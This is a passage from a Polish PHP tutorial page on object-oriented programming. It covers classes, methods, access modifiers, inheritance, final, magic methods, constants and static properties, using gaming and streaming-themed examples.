<h3 class="wp-block-heading">4. <strong>Ukrywanie szczegółów (enkapsulacja)</strong></h3>



<ul class="wp-block-list">
<li>OOP pozwala ukrywać szczegóły implementacji, dzięki czemu kod jest bardziej bezpieczny i trudniejszy do przypadkowego uszkodzenia.</li>



<li>Dane w klasach są chronione, a dostęp do nich odbywa się przez ściśle określone metody.</li>
</ul>



<p class="wp-block-paragraph"><strong>Przykład</strong>: W klasie <code class="prettyprint lang-sql" style="font-size: 0.85em;">KontoBankowe</code> saldo konta jest ukryte, a użytkownik może je zmieniać tylko za pomocą metod <code class="prettyprint lang-sql" style="font-size: 0.85em;">wpłać()</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">wypłać()</code>.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h3 class="wp-block-heading">5. <strong>Naturalne odwzorowanie rzeczywistości</strong></h3>



<ul class="wp-block-list">
<li>OOP naśladuje sposób, w jaki myślimy o świecie, opierając się na obiektach, ich cechach i zachowaniach.</li>



<li>Dzięki temu kod staje się bardziej intuicyjny i łatwiejszy do zrozumienia.</li>
</ul>



<p class="wp-block-paragraph"><strong>Przykład</strong>: Klasa <code class="prettyprint lang-sql" style="font-size: 0.85em;">Kot</code> ma cechy takie jak kolor futra (atrybuty) i umiejętności jak miauczenie (metody).</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h3 class="wp-block-heading">6. <strong>Łatwość debugowania i testowania</strong></h3>



<ul class="wp-block-list">
<li>Dzięki temu, że klasy są niezależne, błędy w jednym obiekcie nie wpływają na inne.</li>



<li>Testowanie poszczególnych modułów (klas) jest prostsze niż testowanie całości kodu.</li>
</ul>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h3 class="wp-block-heading">7. <strong>Polimorfizm – elastyczność w działaniu</strong></h3>



<ul class="wp-block-list">
<li>Polimorfizm umożliwia różnym obiektom używanie tej samej metody, ale w różny sposób.</li>



<li>Pozwala to na pisanie bardziej uniwersalnego i elastycznego kodu.</li>
</ul>



<p class="wp-block-paragraph"><strong>Przykład</strong>: Metoda <code class="prettyprint lang-sql" style="font-size: 0.85em;">atakuj()</code> może działać inaczej w klasie <code class="prettyprint lang-sql" style="font-size: 0.85em;">Rycerz</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">Mag</code>, mimo że jest wywoływana w ten sam sposób.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h3 class="wp-block-heading">8. <strong>Ułatwienie pracy zespołowej</strong></h3>



<ul class="wp-block-list">
<li>W dużych projektach, podział kodu na klasy ułatwia współpracę, ponieważ każdy programista może pracować nad innymi obiektami, nie wchodząc sobie w drogę.</li>
</ul>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h3 class="wp-block-heading">Podsumowanie</h3>



<p class="wp-block-paragraph">Programowanie obiektowe jest użyteczne, gdy:</p>



<ul class="wp-block-list">
<li>Tworzysz duże, złożone systemy.</li>



<li>Chcesz pisać kod, który łatwo rozwijać, utrzymywać i testować.</li>



<li>Potrzebujesz odzwierciedlić rzeczywiste pojęcia lub obiekty w swoim kodzie.</li>
</ul>



<p class="wp-block-paragraph">Jeśli jednak tworzysz mały, prosty skrypt, nie zawsze konieczne jest stosowanie OOP – wtedy wystarczą inne podejścia, jak programowanie proceduralne.</p>



<h2 class="wp-block-heading">Klasa i obiekt</h2>



<p class="wp-block-paragraph">Kiedy mówimy o <strong>klasie </strong>musimy wyobrazić ją sobie jak ogólny zarys/opis jakiegoś obiektu, zbiór cech wspólnych dla np. człowieka. Gdybyśmy mieli klasę człowiek moglibyśmy określić ogólne cechy jakie definiują ludzi, czyli np. to że śpi, że ma głos, oczy, włosy, ręce, nogi itd.</p>



<p class="wp-block-paragraph"><strong>Obiekt </strong>jest instancją danej klasy, czyli konkretnym człowiekiem np. Janem Kowalskim, który ma brązowe włosy, jest typem „skowronka” i ma niebieskie oczy. Te cechy nie są bezpośrednio związane z klasą, a z obiektem (instancją/wystąpieniem klasy).</p>



<p class="wp-block-paragraph">Można powiedzieć, że Jan Kowalski jest zmienną typu klasy, czyli obiektem typu człowiek.</p>



<p class="wp-block-paragraph">Przykład utworzenia klasy &#8211; Streamer na Twitchu</p>



<pre class="wp-block-code prettyprint"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php 
// Tworzymy klasę Streamer
class Streamer {
    public $nick;
    public $subskrybcje;
    public $followers;
    public $kategoria;
}
?&gt;</code></pre>



<p class="wp-block-paragraph">Mając tak zdefiniowana klasę możemy otworzyć konkretny obiekt:</p>



<pre class="wp-block-code prettyprint"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
$streamer1 = new Streamer(); // Tworzymy nowy obiekt klasy Streamer

// Nadajemy konkretne cechy
$streamer1-&gt;nick = 'GamingLegend';
$streamer1-&gt;subskrybcje = 1520;
$streamer1-&gt;followers = 45000;
$streamer1-&gt;kategoria = 'League of Legends';

// Wyświetlamy rezultaty
echo 'Streamer: ' . $streamer1-&gt;nick . '&lt;br&gt;';
echo 'Subskrybcje: ' . $streamer1-&gt;subskrybcje . '&lt;br&gt;';
echo 'Followersi: ' . $streamer1-&gt;followers . '&lt;br&gt;';
echo 'Gra w: ' . $streamer1-&gt;kategoria . '&lt;br&gt;';

/*
Wyświetli się:
Streamer: GamingLegend
Subskrybcje: 1520
Followersi: 45000
Gra w: League of Legends
*/
?&gt;</code></pre>



<h3 class="wp-block-heading">Wyświetlenie stworzonego obiektu</h3>



<p class="wp-block-paragraph">Możemy wyświetlić sobie stworzony obiekt:</p>



<pre class="wp-block-code prettyprint"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
echo '&lt;pre&gt;';
print_r($streamer1);
echo '&lt;/pre&gt;';

/*
Wyświetli się:
Streamer Object
(
    &#91;nick] =&gt; GamingLegend
    &#91;subskrybcje] =&gt; 1520
    &#91;followers] =&gt; 45000
    &#91;kategoria] =&gt; League of Legends
)
*/
?&gt;</code></pre>



<h3 class="wp-block-heading">Wartości domyślne w klasie</h3>



<p class="wp-block-paragraph">Klasie możemy nadać domyślne wartości, które zostaną nadane w momencie tworzenia obiektu:</p>



<pre class="wp-block-code prettyprint"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
class Streamer {
    public $nick;
    public $subskrybcje = 0;        // Wartość domyślna
    public $followers = 0;           // Wartość domyślna
    public $kategoria = 'Just Chatting'; // Wartość domyślna
}

$streamer1 = new Streamer(); // Tworzymy nowy obiekt

// Nadajemy tylko niektóre cechy
$streamer1-&gt;nick = 'NewbieStreamer';
$streamer1-&gt;followers = 150;

// Wyświetlamy rezultaty
echo 'Streamer: ' . $streamer1-&gt;nick . '&lt;br&gt;';
echo 'Subskrybcje: ' . $streamer1-&gt;subskrybcje . '&lt;br&gt;';
echo 'Followersi: ' . $streamer1-&gt;followers . '&lt;br&gt;';
echo 'Kategoria: ' . $streamer1-&gt;kategoria . '&lt;br&gt;';

/*
Wyświetli się:
Streamer: NewbieStreamer
Subskrybcje: 0
Followersi: 150
Kategoria: Just Chatting
*/
?&gt;</code></pre>



<p class="wp-block-paragraph">Już potrafisz:</p>



<ul class="wp-block-list">
<li>stworzyć definicję obiektu w postaci klasy</li>



<li>dodać publiczne pola do klasy i nadawać im wartości domyślne</li>



<li>przypisywać im wartości</li>



<li>odczytywać ich wartość</li>



<li>korzystać z „-&gt;”, by dostać się do pola klasy</li>
</ul>



<h2 class="wp-block-heading">Metody</h2>



<p class="wp-block-paragraph">Klasa może definiować metody, czyli nic innego jak funkcje z podejścia proceduralnego. Kiedy tworzymy obiekt nadajemy mu dostęp do metod danej klasy.</p>



<h3 class="wp-block-heading">Trochę praktyki&nbsp;&#8211; Discord Bot</h3>



<pre class="wp-block-code prettyprint"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
class DiscordBot {
    public $nazwa;
    public $serwery = 0;        // Liczba serwerów
    public $uzytkownicy = 0;    // Liczba użytkowników
    public $wersja = '1.0';     // Wersja bota

    // Teraz tworzymy metodę
    public function pobierzStatus() {
        return "Bot {$this-&gt;nazwa} jest aktywny na {$this-&gt;serwery} serwerach.";
    }
}

$bot1 = new DiscordBot();
$bot1-&gt;nazwa = 'MusicBot';
$bot1-&gt;serwery = 350;

$bot2 = new DiscordBot();
$bot2-&gt;nazwa = 'ModerationBot';
$bot2-&gt;serwery = 1200;

$bot3 = new DiscordBot();
$bot3-&gt;nazwa = 'GamesBot';

echo '&lt;pre&gt;';
print_r($bot1);
echo '&lt;/pre&gt;';

echo $bot1-&gt;pobierzStatus() . '&lt;br&gt;';

echo '&lt;pre&gt;';
print_r($bot2);
echo '&lt;/pre&gt;';

echo $bot2-&gt;pobierzStatus() . '&lt;br&gt;';

echo '&lt;pre&gt;';
print_r($bot3);
echo '&lt;/pre&gt;';

echo $bot3-&gt;pobierzStatus() . '&lt;br&gt;';
?&gt;</code></pre>



<p class="wp-block-paragraph">Zostanie wyświetlone:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">DiscordBot Object
(
    &#91;nazwa] =&gt; MusicBot
    &#91;serwery] =&gt; 350
    &#91;uzytkownicy] =&gt; 0
    &#91;wersja] =&gt; 1.0
)

Bot MusicBot jest aktywny na 350 serwerach.

DiscordBot Object
(
    &#91;nazwa] =&gt; ModerationBot
    &#91;serwery] =&gt; 1200
    &#91;uzytkownicy] =&gt; 0
    &#91;wersja] =&gt; 1.0
)

Bot ModerationBot jest aktywny na 1200 serwerach.

DiscordBot Object
(
    &#91;nazwa] =&gt; GamesBot
    &#91;serwery] =&gt; 0
    &#91;uzytkownicy] =&gt; 0
    &#91;wersja] =&gt; 1.0
)

Bot GamesBot jest aktywny na 0 serwerach.</code></pre>



<h3 class="wp-block-heading">Zmienna $this</h3>



<p class="wp-block-paragraph">Aby dostać się do konkretnego pola w obiekcie, korzystamy ze zmiennej $this.</p>



<p class="wp-block-paragraph">W powyższym przykładzie nadawaliśmy wartości odnosząc się bezpośrednio do pola klasy. Nie jest to dobra metoda, ponieważ użytkownik może wpisać co chce w dane pole i niestety skrypt może się &#8222;wysypać&#8221;.</p>



<p class="wp-block-paragraph">Aby tego uniknąć dodajemy dane za pomocą metody, którą możemy łatwo zabezpieczyć przed niechcianym kodem.</p>



<h3 class="wp-block-heading">Bezpieczne metody &#8211; setter i getter</h3>



<p class="wp-block-paragraph">Powyższy kod powinien wyglądać następująco:</p>



<pre class="wp-block-code prettyprint"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
class DiscordBot {
    public $nazwa;
    public $serwery = 0;
    public $uzytkownicy = 0;
    public $wersja = '1.0';

    // Metoda pobierająca status (getter)
    public function pobierzStatus() {
        return "Bot {$this-&gt;nazwa} jest aktywny na {$this-&gt;serwery} serwerach.";
    }

    // Metoda przypisująca liczbę serwerów (setter)
    public function przypiszSerwery($ilosc) {
        // Można dodać tutaj sprawdzanie czy wprowadzona wartość jest int 
        // i mieści się w określonym przedziale
        $this-&gt;serwery = $ilosc;
    }
}

$bot1 = new DiscordBot();
$bot1-&gt;nazwa = 'MusicBot';
$bot1-&gt;przypiszSerwery(350);  // Bezpieczne przypisanie

$bot2 = new DiscordBot();
$bot2-&gt;nazwa = 'ModerationBot';
$bot2-&gt;przypiszSerwery(1200);

$bot3 = new DiscordBot();
$bot3-&gt;nazwa = 'GamesBot';

echo '&lt;pre&gt;';
print_r($bot1);
echo '&lt;/pre&gt;';

echo $bot1-&gt;pobierzStatus() . '&lt;br&gt;';

echo '&lt;pre&gt;';
print_r($bot2);
echo '&lt;/pre&gt;';

echo $bot2-&gt;pobierzStatus() . '&lt;br&gt;';

echo '&lt;pre&gt;';
print_r($bot3);
echo '&lt;/pre&gt;';

echo $bot3-&gt;pobierzStatus() . '&lt;br&gt;';
?&gt;</code></pre>



<h3 class="wp-block-heading">Walidacja danych w metodach</h3>



<p>A teraz przykład z walidacją liczby serwerów:</p>



<pre class="wp-block-code prettyprint"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
class DiscordBot {
    public $nazwa;
    public $serwery = 'brak danych';  // Wartość domyślna
    public $uzytkownicy = 0;
    public $wersja = '1.0';

    // Metoda pobierająca status
    public function pobierzStatus() {
        return "Bot {$this-&gt;nazwa} jest aktywny na {$this-&gt;serwery} serwerach.";
    }

    // Metoda przypisująca liczbę serwerów Z WALIDACJĄ
    public function przypiszSerwery($ilosc) {
        // Sprawdzanie czy wprowadzona wartość jest int i mieści się w przedziale
        $ilosc = intval($ilosc);
        
        if ($ilosc &gt; 0 &amp;&amp; $ilosc &lt; 1000000) {
            $this-&gt;serwery = $ilosc;
        }
    }
}

$bot1 = new DiscordBot();
$bot1-&gt;nazwa = 'MusicBot';
$bot1-&gt;przypiszSerwery('tekst');  // Nieprawidłowa wartość - zostanie odrzucona

$bot2 = new DiscordBot();
$bot2-&gt;nazwa = 'ModerationBot';
$bot2-&gt;przypiszSerwery(1200);     // Prawidłowa wartość

$bot3 = new DiscordBot();
$bot3-&gt;nazwa = 'GamesBot';

echo '&lt;pre&gt;';
print_r($bot1);
echo '&lt;/pre&gt;';

echo $bot1-&gt;pobierzStatus() . '&lt;br&gt;';

echo '&lt;pre&gt;';
print_r($bot2);
echo '&lt;/pre&gt;';

echo $bot2-&gt;pobierzStatus() . '&lt;br&gt;';

echo '&lt;pre&gt;';
print_r($bot3);
echo '&lt;/pre&gt;';

echo $bot3-&gt;pobierzStatus() . '&lt;br&gt;';
?&gt;</code></pre>



<p class="wp-block-paragraph">Wyświetli się:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">DiscordBot Object
(
    &#91;nazwa] =&gt; MusicBot
    &#91;serwery] =&gt; brak danych
    &#91;uzytkownicy] =&gt; 0
    &#91;wersja] =&gt; 1.0
)

Bot MusicBot jest aktywny na brak danych serwerach.

DiscordBot Object
(
    &#91;nazwa] =&gt; ModerationBot
    &#91;serwery] =&gt; 1200
    &#91;uzytkownicy] =&gt; 0
    &#91;wersja] =&gt; 1.0
)

Bot ModerationBot jest aktywny na 1200 serwerach.

DiscordBot Object
(
    &#91;nazwa] =&gt; GamesBot
    &#91;serwery] =&gt; brak danych
    &#91;uzytkownicy] =&gt; 0
    &#91;wersja] =&gt; 1.0
)

Bot GamesBot jest aktywny na brak danych serwerach.</code></pre>



<p class="wp-block-paragraph">Już potrafisz:</p>



<ul class="wp-block-list">
<li>stworzyć metodę klasy</li>



<li>zwrócić wartość i przekazać argumenty</li>



<li>korzystać ze zmiennej<strong> $this</strong></li>



<li>zabezpieczyć dane</li>
</ul>



<h2 class="wp-block-heading">Modyfikatory dostępu</h2>



<p class="wp-block-paragraph">Do tej pory wykonywaliśmy przykłady w oparciu o publiczną dostępność danego elementu, czyli <strong><em>public</em></strong>. Taka metoda lub właściwość jest publiczna, więc widoczna wszędzie wewnątrz obiektu i poza nim. Dostęp do pola jest nieograniczony i można je odczytywać i zmieniać dowolnie.</p>



<p class="wp-block-paragraph">Właściwość lub metoda może być prywatna, czyli <strong><em>private</em></strong>, wówczas może zostać użyta tylko wewnątrz obiektu.</p>



<p class="wp-block-paragraph">Właściwość lub metoda <strong><em>protected </em></strong>może być użyta tylko wewnątrz obiektu, ale może być również dziedziczona.</p>



<p class="wp-block-paragraph">Zaleca się w programowaniu i w życiu, nie udostępniać zbyt wiele informacji na zewnątrz, więc tego się trzymajmy – korzystamy z modyfikatorów <strong><em>private</em></strong>.</p>



<h3 class="wp-block-heading">Przykład public &#8211; Serwer gry online</h3>



<pre class="wp-block-code prettyprint"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
class SerwerGry {
    public $czyOnline = true;

    public function wlacz() {
        $this-&gt;czyOnline = true;
    }

    public function wylacz() {
        $this-&gt;czyOnline = false;
    }

    public function sprawdzStatus() {
        return $this-&gt;czyOnline;
    }
}

$serwer = new SerwerGry();
$serwer-&gt;wylacz();
$serwer-&gt;czyOnline = true;  // Zmieniamy wartość parametru bezpośrednio!

echo $serwer-&gt;sprawdzStatus() ? 'Serwer online' : 'Serwer offline';

// Wyświetli: Serwer online
?&gt;</code></pre>



<p class="wp-block-paragraph">W powyższym przykładzie należy zwrócić uwagę na to, że pomimo iż ostatnią operacją na obiekcie było wyłączenie serwera, wprowadzenie bezpośredniej zmiany pola $serwer-&gt;czyOnline na true, sprawiło że otrzymujemy informację, że serwer jest online.</p>



<p>Możemy tego uniknąć blokując dostęp do pól i metod klasy, czyli zmieniając ich modyfikatory z publicznych na prywatne.</p>



<p class="wp-block-paragraph">Ustawiamy wartość prywatną:</p>



<pre class="wp-block-code prettyprint"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
class SerwerGry {
    private $czyOnline = true;  // Modyfikator prywatny, brak dostępu z zewnątrz

    public function wlacz() {
        $this-&gt;czyOnline = true;
    }

    public function wylacz() {
        $this-&gt;czyOnline = false;
    }

    public function sprawdzStatus() {
        return $this-&gt;czyOnline;
    }
}

$serwer = new SerwerGry();
$serwer-&gt;wylacz();
$serwer-&gt;czyOnline = true;  // Chcemy zmienić wartość parametru

// Tutaj interpreter zwróci błąd, gdyż nie ma dostępu do zmiennej

echo $serwer-&gt;sprawdzStatus() ? 'Serwer online' : 'Serwer offline';
?&gt;</code></pre>



<p>Przykład powyższy generuje błąd, ponieważ nie ma dostępu do prywatnej wartości pola klasy.</p>
<p>Ustawimy teraz metody na prywatne i publiczne:</p>



<pre class="wp-block-code prettyprint"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
class StreamConfig {
    private $bitrate = 6000;
    
    private function obliczJakosc() {
        return $this-&gt;bitrate / 1000 . 'Mbps';
    }
    
    public function czyMoznaStreamowac($upload) {
        return $this-&gt;bitrate &lt; $upload ? 'TAK' : 'NIE';
    }
}

$config = new StreamConfig();

echo '&lt;pre&gt;';
print_r($config);
echo '&lt;/pre&gt;';

echo $config-&gt;czyMoznaStreamowac(8000);  // Wyświetli: TAK
echo $config-&gt;czyMoznaStreamowac(3000);  // Wyświetli: NIE

// echo $config-&gt;obliczJakosc();  // Tutaj interpreter zwróci błąd, 
                                  // gdyż nie ma dostępu do metody
?&gt;</code></pre>



<p class="wp-block-paragraph">O modyfikatorze protected, trochę później – przy temacie dziedziczenie.</p>



<p class="wp-block-paragraph">Już potrafisz:</p>



<ul class="wp-block-list">
<li>ograniczać dostęp do pól klasy i metod</li>



<li>pozwalać klasie bazowej oraz klasom dziedziczącym na modyfikację pola lub metody</li>
</ul>



<h2 class="wp-block-heading">Dziedziczenie</h2>



<p class="wp-block-paragraph">Tak jak w życiu – jako potomkowie dziedziczymy po naszych przodkach pewne cechy (tak naprawdę to 50% od matki i 50% od ojca), tak samo klasy dziedziczą pola i metody, ale mogą zostać uzupełnione o inne elementy, których przodek nie posiada.</p>



<p class="wp-block-paragraph">Jeżeli klasa przodka posiada pola i metody, które&nbsp;<em><strong>nie są prywatne</strong></em>, to klasa potomna również będzie je posiadać.</p>



<p class="wp-block-paragraph"><strong>Klasa może dziedziczyć tylko po jednej klasie (rozszerzać tylko jedną klasę bazową ) </strong></p>



<p class="wp-block-paragraph">Aby klasa dziedziczyła po innej należy użyć słówka&nbsp;<strong><em>extends</em></strong>&nbsp;i podać nazwę klasy przodka:</p>



<h3 class="wp-block-heading">Przykład &#8211; Postać w grze RPG</h3>



<pre class="wp-block-code prettyprint"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
class Postac {
    private $nick = 'Gracz123';
    protected $poziom = 1;
    protected $hp = 100;
    public $imie;
    
    public function czyMartwy() {
        return $this-&gt;hp &lt;= 0;
    }
    
    public function otrzymajObrazenia($obrazenia) {
        return $this-&gt;zadajObrazenia($obrazenia);
    }
    
    protected function zadajObrazenia($ilosc) {
        $this-&gt;hp -= $ilosc;
        if ($this-&gt;hp &lt; 0) {
            $this-&gt;hp = 0;
        }
        return $this-&gt;hp;
    }
}

// Następuje dziedziczenie
class Wojownik extends Postac {
    private $pancerz = 50;
    
    public function mocnyAtak() {
        return $this-&gt;atakujZSila(30);
    }
    
    private function atakujZSila($ilosc) {
        if ($this-&gt;poziom &gt; 0) {  // Mamy dostęp do pola poziom, gdyż jest protected
            return $this-&gt;otrzymajObrazenia($ilosc);  // Metoda otrzymajObrazenia jest public
        }
        return $this-&gt;pancerz += $ilosc;
    }
}

$bohater = new Wojownik();

$bohater-&gt;imie = 'Conan';
$bohater-&gt;otrzymajObrazenia(25);
$bohater-&gt;mocnyAtak();

if ($bohater-&gt;czyMartwy()) {
    echo $bohater-&gt;imie . ' nie żyje!';
} else {
    echo $bohater-&gt;imie . ' walczy dalej!';
}

echo '&lt;pre&gt;';
print_r($bohater);
echo '&lt;/pre&gt;';

// $hp = $bohater-&gt;hp;  // Ta linijka wygeneruje błąd, 
                         // gdyż z zewnątrz nie mamy dostępu do pola protected
// $bohater-&gt;zadajObrazenia(10);  // Ta linijka podobnie, jak wyżej
?&gt;</code></pre>



<h2>Final, a nadpisywanie</h2>
<p>Wiemy już doskonale, że zadeklarowanie w kodzie zmiennej o nazwie, która już istnieje, spowoduje nadpisanie jej wartości. Tak samo dzieje się z metodami. Jeżeli klasa dziedzicząca będzie posiadała metodę o nazwie istniejącej w klasie bazowej, to jej funkcjonalność zostanie nadpisana:</p>



<pre class="wp-block-code prettyprint"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
class ProfilBazowy {
    public function wyswietlNazwe() {
        echo "Nazywam się: Użytkownik";
    }
}

class ProfilPremium extends ProfilBazowy {
    public function wyswietlNazwe() {
        echo "Nazywam się: Premium User";
    }
}

$profil = new ProfilPremium();
$profil-&gt;wyswietlNazwe();

// Wyświetli: Nazywam się: Premium User
?&gt;</code></pre>



<p class="wp-block-paragraph">W powyższym kodzie widzimy, że metoda wyswietlNazwe() została nadpisana i zamiast wyświetlić &#8222;Nazywam się: Użytkownik&#8221; otrzymaliśmy &#8222;Nazywam się: Premium User&#8221;.</p>



<h3 class="wp-block-heading">Słowo kluczowe final</h3>



<p class="wp-block-paragraph">Jeżeli chcemy zabronić klasie potomnej nadpisywania metod w klasie bazowej, używamy słowa final przed deklaracją metody:</p>



<pre class="wp-block-code prettyprint"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
class ProfilBazowy {
    final public function wyswietlNazwe() {
        echo "Nazywam się: Użytkownik";
    }
}

class ProfilPremium extends ProfilBazowy {
    /*
    public function wyswietlNazwe() {
        // Ta metoda wygeneruje błąd: 
        // Fatal error: Cannot override final method...
    }
    */
}

$profil = new ProfilPremium();
$profil-&gt;wyswietlNazwe();
?&gt;</code></pre>



<p class="wp-block-paragraph">Modyfikatora&nbsp;<strong>final&nbsp;</strong>możemy użyć przed nazwą klasy, wówczas ta klasa nie będzie mogła być dziedziczona.</p>



<p class="wp-block-paragraph">Już potrafisz:</p>



<ul class="wp-block-list">
<li>stworzyć klasę rozszerzającą inną klasę</li>



<li>korzystać z pól i metod klasy bazowej</li>



<li>nadpisywać metody klasy bazowej</li>



<li>blokować nadpisywanie przy pomocy słowa&nbsp;<strong>final</strong></li>
</ul>



<h2 class="wp-block-heading">Metody magiczne</h2>



<p class="wp-block-paragraph">Nazwa tych metod wzięła się stąd, że wywoływane są automatycznie w momencie tworzenia obiektu i nie wymagają dodatkowych akcji. Metody te występują tylko w kontekście klas, a ich nazwy są poprzedzone 2 znakami „podłogi” (podkreślnika)&nbsp;<strong>__&nbsp;</strong>.</p>



<h4 class="wp-block-heading">Konstruktor – __construct</h4>



<p class="wp-block-paragraph">Dzięki konstruktorowi możemy przesłać określone wartości do obiektu w momencie jego tworzenia.</p>



<p class="wp-block-paragraph">Teoretycznie PHP umożliwia stworzenie tylko 1go konstruktora, ale po to mamy kreatywność żeby móc sobie z tym poradzić&nbsp;<img decoding="async" role="img" draggable="false" class="emoji" src="https://s.w.org/images/core/emoji/13.0.1/svg/1f642.svg" alt="&#x1f642;"/>Zapraszam do zbadania tej ewentualności na stronie:&nbsp;<a href="https://kursphp.com/programowanie-obiektowe-php/konstruktor/" target="_blank" rel="noopener">https://kursphp.com/programowanie-obiektowe-php/konstruktor/</a></p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
// PHP ma TYLKO JEDEN konstruktor, ale możemy symulować wiele:

class Uzytkownik {
    private string $imie;
    private string $email;
    
    // Jedyny prawdziwy konstruktor
    private function __construct(string $imie, string $email) {
        $this-&gt;imie = $imie;
        $this-&gt;email = $email;
    }
    
    // Statyczne metody fabrykujące (factory methods) - symulacja wielu konstruktorów
    public static function zLoginu(string $login): self {
        // Pobierz dane z bazy po loginie
        return new self($login, "$login@example.com");
    }
    
    public static function zEmail(string $email): self {
        // Pobierz dane z bazy po email
        $login = explode('@', $email)&#91;0];
        return new self($login, $email);
    }
}

// Użycie - wygląda jak różne konstruktory:
$user1 = Uzytkownik::zLoginu('jan123');
$user2 = Uzytkownik::zEmail('anna@example.com');</code></pre>



<h4 class="wp-block-heading">Destruktor – __destruct</h4>



<p class="wp-block-paragraph">Destruktor wykonuje się w momencie niszczenia obiektu.</p>



<h4 class="wp-block-heading">Przykład użycia konstruktora i destruktora:</h4>



<pre class="wp-block-code prettyprint"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
class GraczOnline {
    private $nick;
    private $poziom;

    public function __construct(string $nick, int $poziom) {
        $this-&gt;nick = $nick;
        $this-&gt;poziom = $poziom;
        echo "Gracz {$this-&gt;nick} dołączył do gry!&lt;br&gt;";
    }

    public function getNick(): string {
        return $this-&gt;nick;
    }

    public function getPoziom(): int {
        return $this-&gt;poziom;
    }

    public function __destruct() {
        echo "Gracz {$this-&gt;nick} opuścił grę!&lt;br&gt;";
    }
}

$gracz = new GraczOnline('ProGamer99', 45);
echo 'Nick: ' . $gracz-&gt;getNick() . ', Poziom: ' . $gracz-&gt;getPoziom() . '&lt;br&gt;';

unset($gracz);  // Usuwanie obiektu
// Wynik: Gracz ProGamer99 opuścił grę!
?&gt;</code></pre>



<h3 class="wp-block-heading">Inne popularne metody magiczne</h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">// __call() - wywoływana gdy metoda nie istnieje
public function __call($name, $arguments) {
    echo "Próba wywołania nieistniejącej metody: $name";
}

// __isset() - sprawdzanie czy właściwość istnieje
public function __isset($name) {
    return isset($this-&gt;data&#91;$name]);
}

// __unset() - usuwanie właściwości
public function __unset($name) {
    unset($this-&gt;data&#91;$name]);
}

// __clone() - klonowanie obiektu
public function __clone() {
    echo "Obiekt został sklonowany";
}</code></pre>



<p>Więcej informacji na temat metod magicznych znajdziesz w dokumentacji:&nbsp;<a href="http://php.net/manual/en/language.oop5.magic.php" target="_blank" rel="noopener">http://php.net/manual/en/language.oop5.magic.php</a></p>
<h2>Stałe</h2>
<p>Stała to właściwość klasy tylko do odczytu. Jak wiemy z języka PHP, stałe deklarujemy drukowanymi literami, są dostępne&nbsp;<strong><em>public&nbsp;</em></strong>i nie można ich modyfikować w kodzie.</p>
<p>Aby zadeklarować stałą, używaliśmy dotychczas konstrukcji&nbsp;<em><strong>define()</strong></em>, możemy to też zrobić używając modyfikatora&nbsp;<em><strong>const</strong></em>. Pamiętać należy, że jedna i druga konstrukcja nie są sobie równe.&nbsp; Za pomocą<em><strong>&nbsp;const</strong></em>&nbsp;definiujemy stałe w klasach i tylko w nich.</p>
<p>Aby się do niej odwołać wewnątrz klasy, musimy użyć modyfikatora&nbsp;<strong><em>self::</em></strong></p>
<p>Aby wywołać właściwość poza klasą używamy modyfikatora&nbsp;<strong><em>nazwaKlasy::</em></strong></p>



<pre class="wp-block-code prettyprint"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
class KonfiguracjaGry {
    const MAX_GRACZY = 100;
    const MIN_POZIOM = 1;
    const MAX_POZIOM = 100;
    
    private $liczbaGraczy;
    
    public function __construct($liczbaGraczy) {
        $this-&gt;liczbaGraczy = $liczbaGraczy;
    }
    
    public function mozeDolczyc() {
        return $this-&gt;liczbaGraczy &lt; self::MAX_GRACZY;
    }
}

// KonfiguracjaGry::MAX_GRACZY = 200;  // Nie można modyfikować

$gra = new KonfiguracjaGry(85);
echo 'Czy można dołączyć: ' . ($gra-&gt;mozeDolczyc() ? 'TAK' : 'NIE') . '&lt;br&gt;';
echo 'Maksymalna liczba graczy: ' . KonfiguracjaGry::MAX_GRACZY . '&lt;br&gt;';
echo 'Maksymalny poziom: ' . KonfiguracjaGry::MAX_POZIOM . '&lt;br&gt;';
?&gt;</code></pre>



<h2>Metody i właściwości statyczne</h2>
<p>Metody i właściwości statyczne to takie, które nie wymagają utworzenia obiektu, aby móc się do nich odwołać. Nadawane są dla całej klasy. Tworzymy je przy pomocy modyfikatora&nbsp;<strong><em>static</em></strong>.</p>
<p>Z racji tego, że właściwość ta nadawana jest dla klasy (nie dla obiektu), aby się do niej odwołać wewnątrz klasy, musimy użyć modyfikatora&nbsp;<strong><em>self::</em></strong>, nie korzystamy w tym przypadku z&nbsp;<strong><em>$this</em></strong>. Aby wywołać właściwość poza klasą używamy modyfikatora&nbsp;<strong><em>nazwaKlasy::</em></strong></p>



<pre class="wp-block-code prettyprint"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
class LicznikGraczy {
    public static $iloscGraczy = 0;
    
    public function __construct() {
        self::$iloscGraczy++;
    }
}

